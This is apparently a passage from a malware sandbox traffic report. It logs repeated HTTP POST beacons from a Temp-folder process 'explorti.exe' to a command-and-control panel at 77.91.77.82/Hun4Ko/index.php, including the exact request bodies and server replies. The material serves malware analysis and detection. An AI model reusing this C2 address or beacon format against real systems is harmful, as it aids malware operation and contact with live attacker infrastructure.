Jul 4, 2024 22:21:27.067009926 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:27.758950949 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:27.759783030 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:27.977404118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49780	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:28.098609924 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:28.819880009 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:28.820760012 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:29.047399998 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49781	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:29.161793947 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:29.855978012 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:29.856841087 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:30.073626041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49783	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:30.196276903 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:30.896609068 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:30.897444010 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:31.226917028 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49784	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:31.335231066 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:32.046108007 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:32.049139023 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:32.272125959 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49785	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:32.395045042 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:33.087599993 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:33.088298082 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:33.304584026 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49786	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:33.412142992 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:34.117523909 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:34.118355036 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:34.338490009 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49787	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:34.458262920 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:35.158296108 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:35.159008026 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:35.377960920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49788	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:35.493546963 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:36.208797932 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:36.213229895 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:36.439805031 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49789	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:36.556986094 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:37.259809971 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:37.260773897 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:37.480086088 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49790	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:37.599504948 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:38.292733908 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:38.293441057 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:38.510891914 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49791	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:38.620758057 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:39.326437950 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:39.327343941 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 4, 2024 22:21:39.551491976 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49792	77.91.77.82	80	4724	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 22:21:39.663618088 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 22:21:40.355948925 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 20:21:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 22:21:40.372523069 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
